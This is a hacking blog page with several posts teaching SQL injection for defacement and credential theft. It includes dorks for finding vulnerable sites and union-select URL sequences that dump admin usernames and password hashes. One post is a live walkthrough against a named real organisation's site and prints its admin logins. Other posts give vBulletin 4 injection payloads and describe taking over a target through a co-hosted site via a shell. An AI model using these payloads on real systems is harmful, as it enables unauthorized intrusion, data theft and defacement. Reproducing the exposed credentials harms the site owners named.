BLACK BURN HACKER. Powered by Blogger.

Real Money Instantly

 

Wednesday, February 1, 2012

SQL Injection Tutorial! 100% NOOB FRIENDLY!! No Previous Hacking Knowledge Needed

2 comments
SQL Injection

Hi, this thread covers all your basic SQL Injection needs. After reading this, you should be able to successfully retrieve Database information such as the username and password that are crucial for defacing sites.

Lets start.

What is SQL Injection?
is a code injection technique that exploits a security vulnerability occurring in the database layer of an application (like queries). The vulnerability is present when user input is either incorrectly filtered for string literal escape characters embedded in SQL statements or user input is not strongly typed and thereby unexpectedly executed. It is an instance of a more general class of vulnerabilities that can occur whenever one programming or scripting language is embedded inside another. SQL injection attacks are also known as SQL insertion attacks.
Source

Step 1: Choose Your Target:
Of course, you can't SQL Inject nothing. You must have a website as a target. Remember, only vulnerabl sites are able to be injected into. You can't just SQL Inject any site *sigh*.

So how do we see which sites are vulnerable? There are many lists of vulnerable sites out there. But if you wish to find them manually, read on.
Dorks 
Wtf is this? These are "Dorks" that you can use to find vulnerable sites. Go to Google and simply copy and paste one of those dorks and click search.

I personally recommend going here (scanner seems to be down) to see which sites are vulnerable, but if you wish to do THAT manually also, read on. If not, skip to Step 2.

After you have Googled the dorks, click on any site.

To check the site for vulnerability, simply add a "'" to the end of the URL (without the quotes). It should look somewhat like this:

Code:
http://www.sitename.com/main.php?id=232'

If the page simply refreshes, the site is not vulnerable. But if an error of any kind pops up, the site is prone to SQLi. When you have successfully found a vulnerable site, proceed to Step 2.

Step 2: Find the Vulnerable Column 
Now that we found our vulnerable site, we will need to find the vulnerable columns.

Add this to the end of the URL:

Code:
http://www.sitename.com/main.php?id=232 order by 1--

Now here's where it gets tougher (not really). You have to look for errors as you enter new numbers. For example:

Code:
http://www.sitename.com/main.php?id=232 order by 1-- (no error)
http://www.sitename.com/main.php?id=232 order by 2-- (no error)
http://www.sitename.com/main.php?id=232 order by 10-- (ERROR!)
http://www.sitename.com/main.php?id=232 order by 5-- (no error)
http://www.sitename.com/main.php?id=232 order by 6-- (ERROR!)

The goal here is to find the least column the shows the error. As you can see in the example, the lowest column that we found an error on is column 6, therefore, column 6 doesn't exist and there are only 5 columns.

Now we have to find which one of these five columns (it may be different in your case) is vulnerable, to do that, add this code to the end of the URL:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,4,5--

Make sure to include the - in the beginning and the -- at the end, this is crucial. Remember that the code above may be different in your case regarding how many columns there are.

Now, if you see numbers on the screen. You can proceed. The very first number is the number of the vulnerable column. If the number is "4" that means that the 4th column is the vulnerable column.
Step 3: Obtain Version Number and Database Name
That vulnerable column is the ONLY column that we will be editing.

Assuming that the vulnerable column is 4 (it may be different in your case), proceed to find the version number. To find the version number, replace the vulnerable column with "@@version" like this:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,@@version,5--

If the version is 5 or above, proceed. If not, it will be harder to hack. There are other tutorials covering how to hack database versions 4 or lower.

Now we must find the database name. To do this, replace the "@@version" from before with "concat(database())" like this:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,concat(database()),5--

And BOOM! The database name should appear on your screen. Copy this somewhere safe, we will need this for later.
Step 4: Obtain Table Names 

We are almost done, don't give up just yet.

Now we have to find the table names. This is crucial because the tables contain all of the information that we may need. Some hackers look for credit card information and e-mail adresses, but in this tutorial we will be looking to retrieve the username and password in order to deface the site.

Edit the code as follows:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(table_name),5 from information_schema.tables where table_schema=database()--

Now, names appear. Look for obvious names hinting to tables where user information can be stored. You are looking for table names such as "Admin", "Users", "Members", "Admin_Id", Admin_pass", "User_id", etc..

The last character is chopped off? Don't worry. Count how many tables you can see, then add this code based on the tables that you can see. We will be assuming that the last table you can see is the 8th table.

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,table_name,5 from information_schema.tables where table_schema=database() limit 8,1--

This code is to view the 9th table. Replace the 8 with a 9 to view the 10th table, and so on until you find the table that you think has the most crucial information.

When you find the table, copy the name somewhere safe. We will need both the database and table names for the next step.

For this tutorial, we will be using the table name of "admin".
Step 5: View the Columns, and Find the Crucial Shit
Here comes the fun part :3

To find the column names, add this to the end of the URL:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name="admin"--

Didju get an error? OH NO! YOU FAIL. Choose another site. Just kidding.
Go here and type in your table name where is says "Say Hello to My Little Friend".

In my case, this is the string that I got after I inputted "admin" to the input space:

Code:
61646d696e

Now, replace the table name with hex as so:

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(column_name),5 from information_schema.columns where table_name=0x61646d696e--

Notice how I added the "0x", that is to indicate that hex is being used. Remember to get rid of the quotes.

Now after you enter this code, you should see where all the juicy information is contained. An example of what you should see is:

Code:
Admin_Username, Admin_Pass, Admin_credentials, User_credentials, Members, etc..

Now say you want to view what is in the "Admin_Username" and the "Admin_pass", add this code (in this example we will be using "database" as the database name and "admin" for the table name):

Code:
http://www.sitename.com/main.php?id=-232 union select 1,2,3,group_concat(Admin_Username,0x3a,Admin_Pass),5 FROM database.admin--

The "0x3a" will put a colon to where the information will be separated. You should get something like this:

Code:
1:MyName:e10adc3949ba59abbe56e057f20f883e

The username is "MyName" and the password is.. WAIT! That is MD5, crack this using Havij. Download Havij here.

Now as you can see. This is the login info:

Code:
Username: MyName
Pass: 123456

Now all you have to do is find the admin page, which is usually
Code:
http://www.sitename.com/admin
http://www.sitename.com/adminlogin
http://www.sitename.com/admin_login
http://www.sitename.com/login
or something similar. There are tools online that will find you the admin page.

Any questions? PM me.
©2011, copyright BLACK BURN

MySQL Injection[FULL TUTORIAL]

1 comments


MySQL Injectioin Tutorial
Structure:

1.Intro#

2.What is SQL

3.MySQL

4.How to find vulnerability

5.Exploiting Mysql vulnerability

6.Getting Mysql Version

7.Getting Mysql User

8.Getting Mysql Databases

9.Getting Mysql Tables

10.Getting Mysql Columns

11.Getting Information From Columns

12.Finding Admin Panel

13.Tools

14.Greetz

15.End#


1. Intro#

today am going to explain MySQL Injection on Live Example.What that means?-Well it means that i'll exploit an real site.This tutorial is for anykind level reader,student,newbie even noob.I just wonna to show you how easy is this prefor of Attack.So enough talking we have a lot of things to cover here.


2. What is SQL?


SQL injection is probably the most abundant programming flaw that exists on the internet at present. It is the vulnerability through which unauthorized person can access the various critical and private dat. SQL injection is not a flaw in the web or db server but but is a result of the poor and inexperienced programming practices. And it is one of the deadliest as well as easiest attack to execute from remote location.
In SQL injection, we interact with DB server with the various commands and get various data from it. In this tutorial, I would be discussing 3 aspects of SQL injection namely bypassing logins, accessing the secret data and modifying the page contents.

3. MySQL


MySQL is a relational database management system (RDBMS) that runs as a server providing multi-user access to a number of databases. It is named after developer Michael Widenius daughter, My. The SQL phrase stands for Structured Query Language.

=So the basic what you need to know about SQL and MySQL are done now the real part begins

4. How to find vulnerability

There many many ways to find vulnerability.Most familiar ways are using the Google Dorks:

inurl:index.php?id=
inurl:article.php?id=
allinurl:news.php?id=
inurl:shop.php?cat=

Hackers always say "Google is my Best Friend" now you know way without of google we couldn't do our job so easy.So at the end of this tutorial i'll post a dork list so am going to save you from searching the internet.

5. Exploiting Mysql vulnerability

So lets start with exploiting our target.For this tutorial i dicided to chose European Table Tennis Union

Code:

http://www.ettu.org

I have used a dork inurl:news_view.php?id= and i got this link of the site

Code:

http://www.ettu.org/news_view.php?id=2583

So how can we test it is it vuln. on MySQL Injection? - Its simple with adding ' or % at the and or before the id.Now our vuln. link should look like this

Code:

http://www.ettu.org/news_view.php?id=2583'

Did you notice something was changed?-Yes the content that was previos on the site was not showed.So this is a sing that this site may be vuln. on MySQL Injection sometimes will print you a message that says

Code:

Warning: mysql_fetch_assoc(),Warning: mysql_fetch_array(),mysql_num_rows(),mysql error,mysql_query,mysql_fetch,mysql_connect

In this case doesn't show so we also may be facing with MySQL NoError Injection.How can we know for sure is it vuln.?-We are going to start typeing

ORDER BY 1 After the ID number

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+1

So our content is shown agaen.And now we are sure we're facing a site that is vuln. on MySQLInjection.We continue to incrise the Order Number so we find out how many columns are there until we get an blan page agaen.

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+2 <== No blank Page

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+3 <== No blank Page

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+4 <== No blank Page

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+10 <== No blank Page

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+15 <== No blank Page

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+16 <== No blank Page

Code:

http://www.ettu.org/news_view.php?id=2583+ORDER+BY+17 <== Blank Page

wOOt!! We now know that there are 16 vuln. columns!!

Now we are going to select them all with this comand UNION SELECT or UNION ALL SELECT

Code:

http://www.ettu.org/news_view.php?id=258...14,15,16--

Dont forget to put "--" at the end or it will return an blank page.So the content loads agaen and lets see witch of these vuln. columns we can use.To do that we add a '-' before the ID Number

Code:

http://www.ettu.org/news_view.php?id=-25...14,15,16--

So this is very important if you dont do this you cannot continue to do the next several steps and now it prints us a vuln. columns number 2 and number 4.So this means that columns with number 2 and 4 are vulnruble and we can use them.To get Mysql version,User,Databases.


6. Getting Mysql Version


To get MySQL version we use version() or @@version commands to dispaly version of MySQL Database.So we change 2 into @@version and

Code:

http://www.ettu.org/news_view.php?id=258...14,15,16--

there is it MySQL Version displayet at the page.

Code:

5.1.37-1ubuntu5.5

So when MySQL Version is 5> we can use information_schema to get data faster but if version is >5 that means that we need to guess the tables and columns.So we need to be very lucky to guess the tabale and column.

7. Getting Mysql User


Getting the user is with the user() command

Code:

http://www.ettu.org/news_view.php?id=-25...14,15,16--

Displayed

Code:

ettu_admin@localhost

8. Getting Mysql Databases


So now we need to get the databases with the followed command database()

Code:

http://www.ettu.org/news_view.php?id=-25...14,15,16--

Displayed

Code:

ettu.org_ettu_db01

Sometimes there are more databases so it good to know how many databases there are and why are they for.Becouse maybe the data we are looking is in the other database.

9. Getting Mysql Tables


And here we are at the main think.How to find out the table names.

We are going to do this with adding this command

Code:

group_concat(table_name)

at the place of the vun. column and in our case is 2 and with adding at the end of the number of columns the following command

Code:

FROM INFORMATION_SCHEMA.TABLES WHERE TABLE_SCHEMA=DATABASE()

What does this mean?-This means to select Table Names from information_schema where table schema is from the Database. and when we replace everything we get this link and this tables:

Code:

http://www.ettu.org/news_view.php?id=-25...,14,15,16+

FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--

We got a lots of tables but we dont need them all so am going to press Ctrl+F [Find specific word] and type user,users,admin,members and it turns out that there is a table with the name

Code:

0910ettucup01_admin

Now we know that there is table with name admin and there must be some username and passwords but to that we need to find the columns in that table!


10.Getting Mysql Columns


We found out that theres a table admin and now we need to find the columns we need to change table_name to column_name and

Code:

FROM+INFORMATION_SCHEMA.TABLES+WHERE+TABLE_SCHEMA=DATABASE()--

to

FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA=DATABASE()--

Now when we change all that we get

Code:

http://www.ettu.org/news_view.php?id=-25...,14,15,16+

FROM+INFORMATION_SCHEMA.COLUMNS+WHERE+TABLE_SCHEMA=DATABASE()--

with executing this we get a lot i mean really a lot of columns name that we dont need and it may take a while till we find our most needed columns so we are going to pull out only the columns from our table that we found earlier and that is from ettu.org_ettu_db01 to do this we need to you MySQL Char How to find it?-Well you can always use google or you can install on your mozila an addon with name HackBar there is a MySQL char converter so now am going to convert our table into a Mysql Char

Code:

CHAR(48, 57, 49, 48, 101, 116, 116, 117, 99, 117, 112, 48, 49, 95, 97, 100, 109, 105, 110)

Now where to put this?-We are going to change our link into:

Code:

http://www.ettu.org/news_view.php?id=-25...,14,15,16+

from+information_schema.columns+where+table_name=CHAR%2848,%2057,%2049,%2048,%20​101,%20116,%20116,

%20117,%2099,%20117,%20112,%2048,%2049,%2095,%2097,%20100,%20109,%20105,%20110%2​9--

Now are displayed the columns that are in Table 'ADMIN'

Code:

id,login,password,stato,id_squ,girone,abilitato

Our work is almost done.Just to dump usernames and passwords.

11.Getting Information From Columns


To do this we are going to use a command that we are using it all the way till here.And that is group_concat().All we now need to do is to change column_name into our ectual column names and that are "login,password,id,stato ect" So lets see how ill it looks

Code:

http://www.ettu.org/news_view.php?id=-25...,14,15,16+

from+0910ettucup01_admin--

Damn the usernames and passwords are displayed at the site.So let explain here what we have done.We have changed information_schema.columns into the table name 'cuz we dont need not to read the columns 'cuz we already put them into the group_concat() you see id login password those are columns now from where to be selected from the table name 0910ettucup01_admin and now we have our login details:

Code:

1:adminvitesse:vitesse2006

2:admin:matchvitesse

All it left now is to find the Admin Panel....

12.Finding Admin Panel


Unfortunatly our live example site doesn't have an admin panel so for this to show you i'll took another site.So when you got the admin details we need to login somewhere that somewhere is called Admin Panel or ControlPanel or WebPanel its same or you can say it Login Page.To find an login page you can use many tools ill tell you some in the next part.An example of an login page

Code:

http://www.discountexpress.co.uk/admin/

There you can enter the login info and get into the site and change alot

13.Tools


So tools,there aren't so much tools to use when your doing this but there are a few that will help you a lot.

13.1.Admin Finder


Admin finder is a tool that helps you to find the admin page or Login Page very quick for this you can use many online or you can use some webscanner to find it.Here are 1 Good program and one good Online Scanner

Online Admin Page Scanner

And for download

Acunetix Web Vulnerability Scanner

=>This scanner could be used for more things but now we are not going to talk about them

13.2 Hacking Tools that are making you're work easier


Well we all know that some of you have started with tools ex.Havij or MySQL Helper.Yes they are good in hand expecialy when we are hacking into a MySQL Server >5 that are guessing the table and column names so that is realy good also Havij is a great program that have Admin Finder too and MD5 Section where you can easly search about 10-12 MD5 Decripting sites so yes its realy good program but dont use it for hacking all the way into the server 'cuz it leaves a lotz of logs and you my be finish in jail

©2011, copyright BLACK BURN

SQL Injection On Vbulletin 4 [Group Exploit]

2 comments
SQL Injection On Vbulletin 4 [Group Exploit]
Hey fellas,
Its been long time since i have posted a new tutorial . BUt like always , here is yet another quality tutorial
So most of us refer vbulletin as invulnerable . But , nothing is unvulnerable > So here is how to do it .

1.First get , Mozilla Firefox 3.6.17
2.Download the Live HTTP Headers addon for Mozilla Firefox.
3.Go to google and search this :
Quote:insite: Powered by vBulletin™ Version 4.1.2
4.Find a website that has forum version 4.0.0 to 4.1.2.
5.Now you need to be sure that groups are enabled for that website . Make sure it has groups or this will not work .
6. Now make an account on that forum .
7.Verify your account
8.Now go to the groups section and copy any of the group name .
9.Click on Advanced Search on the top.
10.Open the newly installed addon called LIVE HTTP headers. (Tools -> Liver HTTP Headers)
11. Now click on clear if the page is full.Make sure Capture is ticked or selected.
12.Now paste the group name in the "Keyword(s)" .
13.Make sure "Search Titles Only is selected .
14. Now click Search and make sure you are capturing on your live feed header.
15.So now you must get the group . If you have not , then you possibly did something wrong .Don't worry,try it again !
16.Now go to Live HTTP headers and scroll to the top.
17.Now you need to search for something like this : "type%5B%5D=7"It must be easily found and mostly is found underneath content length.
18.Select it so it is highlighted then click on replay.
19.Now a pop up box will appear with "process&searchthreadid=" at the end.
20.Now put any of these in the box according to your needs :

To see database:
Quote:&cat[0]=1) UNION SELECT database()#

To see tables:
Quote:&cat[0]=1) UNION SELECT table_name FROM information_schema.tables#
To see information on the first user:
Quote:&cat[0]=1) UNION SELECT concat(username,0x3a,email,0x3a,password,0x3a,salt) FROM user WHERE userid=1#


Now anyone can do the rest. It is tested and working
Hope you like my tutorial.
Thanks for reading.

©2011, copyright BLACK BURN

Make search engine with your name or whatever you want!!

0 comments
im going to show u web page that you can change your search engine with your name or whatever you want.
and also it can set as homepage of google.

[Image: shinysearch.jpg]
[Image: shinysearch.jpg]


©2011, copyright BLACK BURN

HOW TO HACK UNHACKABLE SITE

1 comments

Introduction

Sometimes site that is your TARGET just isn't hackable. Even Acunetix Web Security Scanner can't find useful vulnerability. In that kind of situation the only thing that might work is to hack site (backdoor site) that is on same server and through that site and through server to penetrate the site.
Tools required:

GNY.Shell

Finding Backdoor Site

To find backdoor site go to
Code:
http://www.domaintools.com/
and in Whois Lookup enter your TARGET site
[Image: ttvofzahtmny.png]

As a result you'll get Whois Record

[Image: yj4zgv59y870.png]
Look for Reverse IP
In our case 25 other sites hosted on this server.
Click on it to see names of the hosted sites on the same server.
[Image: g9gw24idoktm.png]

You will see few of them, to see all, click on more...

To see them all you must be a member.
You can easily Sign up for a FREE account by cicking on Create an Account 
(use some anonymous email service for that)
As a member you can see all 25 other sites hosted on that server.

Hacking Backdoor Site

Here we have 25 potentional backdoor sites and our target one.
Let's say after analysing we find that our backdoor sites No17 (as example) and target No22
[Image: 8lgqjhj76hqz.png]
Backdoor site can be any one from the list who can be hacked and sell uploaded 
[Image: rq9k3vq8go5k.png]

Penetrate Target Site

By cicking on var/ at www.backdoorsite.com we go straight to root of the server
[Image: 2x5pk22e8u24.png]
Where we can find our www.target.com dir.
Sometimes premisions isn't drwx but dr-x which is more then enough to read configuration file.
[Image: rni1js1ocemg.png]

With data from that file we can hack unhackable site...
©2011, copyright BLACK BURN

--< Ultimate MySQL Injection Tutorial For Beginners >--

0 comments
--< Ultimate MySQL Injection Tutorial For Beginners >--
Contents
1A: Understanding SQL Injection
1B: Tricks & Tools
1C: Requirements
------
2A: Searching for Targets
2B: Testing Targets for Vulnerabilities
2C: Finding Columns
2D: Finding Vulnerable Columns
------
3A: Obtaining the SQL version
3B: Version 4
- 1. Obtaining Tables & Columns
- 2. Commands
3C: Version 5
- 1. Obtaining Table Names
- 2. Obtaining Column Names from Tables ------------------------------------------------------------------------
1A: Understanding SQL Injection
SQL Injection is one of todays most powerful methods of system penetration, using error

based queries one is able to extract data (tables & columns) from a vulnerable system,

namely the (database).

1B: Tricks & Tips
Beginners tend to believe that using tools created by advanced SQL injection artists are the

best way around things, please believe that they aren't, everything seems nice and easy with

tools such as (BSQLi and SQLi Helper) which they are, but the users posting the download

links for both applications around the world on hacking forums have been known to very

securely encrypt these tools with malicious files or backdoors etc, I've experienced this

first hand when I first started out. Learning everything manually will help you understand

the environment you are attempting to penetrate, whilst experimenting with commands you have

learnt will only help you become more advanced in SQL injection, as for tricks, there are

many articles named (Cheat Sheets) because this is what they are, purposely created for SQL

injectors to use commands which aren't normally spoken of or known about, Samples are

provided to allow the reader to get basic idea of a potential attack.

1C: Requirements:
When I first started SQL injection personally for me it wasn't to hard to get on the ball

and learn quickly, this is because I had previous knowledge of web-scripts, how the internet

works, and the ability to read and understand complicated tutorials. I believe it's a whole

lot easier if you know the basics of a computer system and how the internet works.
To learn you must be able to read and understand the tutorial or article provided and take

on board everything you see. When I was a beginner I found it easier to attack whilst

reading, do everything in stages, don't read the whole tutorial and go off and expect to

inject off the top of your head. ------------------------------------------------------------------------
2A Searching for Targets
Ahh, the beauty of searching for targets is a lot easier than it sounds, the most common

method of searching is (Dorks). Dorks are an input query into a search engine (Google) which

attempt to find websites with the given texxt provided in the dork itself. So navigate to

Google and copy the following into the search box:
inurl:"products.php?prodID="
This search will return websites affiliated with Google with "products.php?prodID=" within

the URL.
You can find a wide range of dorks to use by searching the forum.
I advise you to create your own dorks, be original, but at the same time unique, think of

something to use that not many people would have already searched and tested.
An example of a dork I would make up:
inurl:"/shop/index.php?item_id=" & ".co.uk"
So using your own dorks isn't a bad thing at all, sometimes your dorks wont work, nevermind

even I get it..

------------------------------------------------------------------------
2B: Testing Targets for Vulnerabilities
It's important that this part's done well. I'll explain this as simply as I can.
After opening a URL found in one of your dork results on Google you now need to test the

site if it's vulnerable to SQL injection.

Example:
http://www.site.com/index.php?Client_id=23

To test, just simply add an asterik ' at the end of the URL

Example:
http://www.site.com/index.php?Client_id=23'

How to tell if the sites vulnerable:
- Missing text, images, spaces or scripts from the original page.
- Any kind of typical SQL error (fetch_array) etc.

So if the website you're testing produces any of the above then the site is unfortunately

vulnerable, which is where the fun starts.

------------------------------------------------------------------------
2C: Finding Columns & the Vulnerable Columns
As I noted in the first section of the tutorial I advise you do pretty much everything

manually with SQL injection, so by using the following commands (providing they're followed

correctly) you will begin to see results in no time

Example:
http://www.site.com/index.php?Client_id=23'
^^^^^^^^^^^^^^^^^^^^^^^^
IF THE SITE IS VULNERABLE
Refer to the following to checking how many columns there are.
(order+by) the order by function tells the database to order columns by an integer (digit

e.g. 1 or 2), no errors returned means the column is there, if there's an error returned the

column isnt there

wxw.site.com/index.php?Client_id=23+order+by+1 < No Error
wxw.site.com/index.php?Client_id=23+order+by+2 < No Error
wxw.site.com/index.php?Client_id=23+order+by+3 < No Error
wxw.site.com/index.php?Client_id=23+order+by+4 < ERROR

From using order+by+ command and incremating the number each time until the page

displays an error is the easiest method to find vulnerable columns, so from the examples

above when attempting to order the columns by 4 there's an error, and so column 4 doesn't

exist, so there's 3 columns.

------------------------------------------------------------------------
2D: Finding Vulnerable Columns
Ok so let's say we were working on the site I used above, which has 3 columns. We now need

to find out which of those three coluns are vulnerable. Vulnerable columns allow us to

submit commands and queries to the SQL database through the URL. (union+select)

Selects all columns provided in the URL and returns the value of the vulnerable column e.g.

2.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3

The site should refresh, not with an error but with some content missing and a number is

displayed on the page, either 1, 2 or 3 (as we selected the three columns in the above URL

to test for column vulnerability).
Sometimes the page will return and look completely normal, which isn't a problem. Some sites

you are required to null the value you're injecting into.

In simpler terms, the =23 you see in the above URL after Client_id must be nulled in order

to return with the vulnerable column. So we simply put a hyphen (minus sign) before the 23

like so: -23
So the URL should now look something like this:

wxw.site.com/index.php?Client_id=-23+union+select+1,2,3

Now that should work, let's say the page refreshes and displays a 2 on the page, thus 2

being the vulnerable column for us to inject into. ------------------------------------------------------------------------
3A: Obtaining the SQL Verison
Easier said than done, using the information found in the above sections e.g. amount of

columns and the vulnerable column. We now use a command (@@version) and in some cases

a series of commands to determine what the SQL version is on the current site. Version 4 or

version 5. See the example below to view what a URL should look like when the version

command has been inserted into the URL replacing the number 2 as 2 is the vulnerable column

on the example site.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,@@version,3

What you need to look for is a series of numbers e.g:
5.0.89-community
4.0.45-log

If the above failes and the site just returns an error or displays normally then we need to

use the convert function in order for the server to understand the command, don't worry

though this is usually the only thing you need to convert and it's on a rare occasion where

this is the case.

So, if the example site returned an error we need to replace @@version with the convert()

function:
convert(@@version using latin1)

So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,convert(@@version using latin1),3

Now if the page still decides to not return the error then the query must be hexxed:
unhex(hex(@@version))

So the example site will now look like this:
wxw.site.com/index.php?Client_id=-23+union+select+1,unhex(hex(@@version)),3

Depending on which version the SQL server it is, whether it be 4, or 5 the queries for

obtaining data from both versions are different, version 4 and 5 tables are explained below


------------------------------------------------------------------------
3B Version 4
- 1. Obtaining Tables and Columns

You will notice that obtaining tables and columns from version 4 MySQL servers is a little

more time consuming and confusing at times as we have to guess pretty much everyhing.

Because version 5 is more up to date and has information_schema which the database and

tables are stored in, MySQL version 4 doesn't.
Providing the MySQL version of the website is 4, we must do the following.

So, back to the example URL:
wxw.site.com/index.php?Client_id=23+union+select+1,@@version,3

We must now go back to the original URL which is:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3

This is where the guessing begins, we need to guess table names.
How can we tell if the table name I guess exists?
The same as where we tested for the amount of columns.
If no error is produced then the table guessed exists.
Is there is an error then the table guessed doesn't exist, so just try another.
So we use the (from) command followed by the table name you are looking to see

exists.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin

Usual tables most people search for consist of obtaining user data, so again, be creative

just like with the dorks, common table names I use:

tbl_user, tbl_admin, tbl_access, user, users, member, members, admin, admins, customer,

customers, orders, phpbb_users, phpbb_admins

So if we tried the following as an example:

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from admin
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from user
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,2,3 from users
^^^^^
No Error

Now which table do you think exists..?
 The table users exists

We are now required to guess column names from the existing table. So thinking logically,

which labelled columns within this table would represent data? Columns such as:
first_name, last_name, email, username, password, pass, user_id
^^^^^^^^^^^^^^^^^^^^^^^^^
Typical columns found in the users table.

So we now must think back to which column is vulnerable (in this case 2) and so we'll use

the URL and replace 2 with the column name you are attempting to see if exists in the users

table. Let's try a few of the typicals listed above:

wxw.site.com/index.php?Client_id=23+union+select+1,f_name,3 from users
^^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,l_name,3 from users
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,address1,3 from users
^^^
Error

wxw.site.com/index.php?Client_id=23+union+select+1,email,3 from users
^^^^^
No Error

From the above we can clearly see that the column email exists within the table users, the

page should return displaying data (most probably an email address) or the data you are

extracting i.e if you pulled password from users and the column exists the first password

within that column will be displayed on screen.


2. Commands
From here we will be able to use certain commands to determine the amount of data we pull

from the database or which exact record you wish to pull from a column.

concat()

We will now use the concat() function to extract data from multiple columns if only one

column is vulnerable, in this case remembering back the vulnerable column is 2, so we can

only query in within this space.

Command: concat(columnname1,0x3a,columnname2)
0x3a is the hex value of a semi-colon : so the output data from the query will be displayed

like:this

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,concat(email,0x3a,password),3 from users

The above will output the first email and password found in the table.

group_concat():

We will now use the group_concat() function to group all data from one column and display

them on one page. Same as the above concat() command just grouping all records together and

displaying them as one.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,group_concat(email,0x3a,pass),3 from

users

Now the above should return ALL e-mails and passwords listed in the email and passwords

column within the users table.

limit 0,1
The limit command is somewhat useful if you're looking for a specific data record. Say for

instance we wanted to obtain the 250th record for emails in the table users. We would use:

limit 250,1
Thus displaying the 250th e-mail within the data.

Example:
wxw.site.com/index.php?Client_id=23+union+select+1,email,3+from+users+limit+250,1 ------------------------------------------------------------------------
Version 5
- 1. Obtaining Table Names

Now after that painstaking version 4 malakey lol, we're onto version 5, the easiest and

quickest version of MySQL to hack, so many things are already done for you, so realise the

possibilities and be imaginative.

Obtaining table names for version 5 MySQL servers is simple, using information_schema.tables

< For table extraction

So, example of the URL from earlier, but imagine it is now version 5

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,table_name,3+from+information_schema.tab

les

The above URL will display only the first table name which is listed in the database

information_schema. So using group_concat()
just like in version 4 works with the same principle.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3 from

information_schema.tables

We should now be able to see all the tables listed on one page, sometimes the last tables

will be cut off the end because a portion of the page will be covered in table names from

information_schema which aren't useful for us so really, I usually prefer to display table

names from the primary database rather than information_schema, we can do the following by

using the +where+table_schema=database() command:
where => A query for selection
table_schema => Schema of tables from a database
database() => In context the primary database, just leave it as it is.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(table_name),3+from+informat

ion_schema.tables+where+table_schema=database()

Example List of tables:
About, Admin, Affiliates, Access, Customer, Users

Now all tables should be displayed from the primary database, take your pick and get ready

to extract columns.


2. Obtaining Column Names from Table Names

Ok, suggesting from the above we decided to obtain column information from the table Admin.
Using information_schema once again but this time we will be using:
informaiton_schema.columns
instead of
informtion_schema.tables (as we want to extract columns now, not tables)

The thing with obtaining column information is similar to the principle of obtaining columns in version 4, except we dont have to guess, once again just one command lists them all when combines with group_concat()

Command:
Edit the vulnerable column (in this case 2) to:
column_name instead of table_name

And the end of the URL to:
+from+information_schema.columns where table_name=TableNameHEX

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=Admin

Now the above will return an error because of the way the command is used at the end of the URL (where table_name=Admin)
We must HEX the table name, in this case Admin
I use THIS website to for converting Text to Hex.

The HEX of Admin is: 41646d696e
Now we must add 0x (MySQL integer) at the front of the HEX, which should now look like this: 0x41646d696e
And pop it onto the end of the URL replacing Admin, so the URL should look something like the following.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,group_concat(column_name),3 from information_schema.columns where table_name=0x41646d696e

Now all columns from the table Admin will be displayed on the page, just the same as version 4 we will use the same command to extract data from certain columns within the table.

Say for instance the following columns were displayed:
username, password, id, admin_user

We would be able to do the same as version 4, replacing the vulnerable column (2) with a column name (one of the above) i.e. username and password using the concat() function.

Example:
wxw.site.com/index.php?Client_id=-23+union+select+1,concat(username,0x3a,password),3+from+Admin

Will display the first username and password data entries from the columns username and password in the table Admin.

You can still use group_concat() & limit 0,1
Exactly the same as version 4

©2011, copyright BLACK BURN
 

7 Years Earning Experience

The Earning Source You Can Trust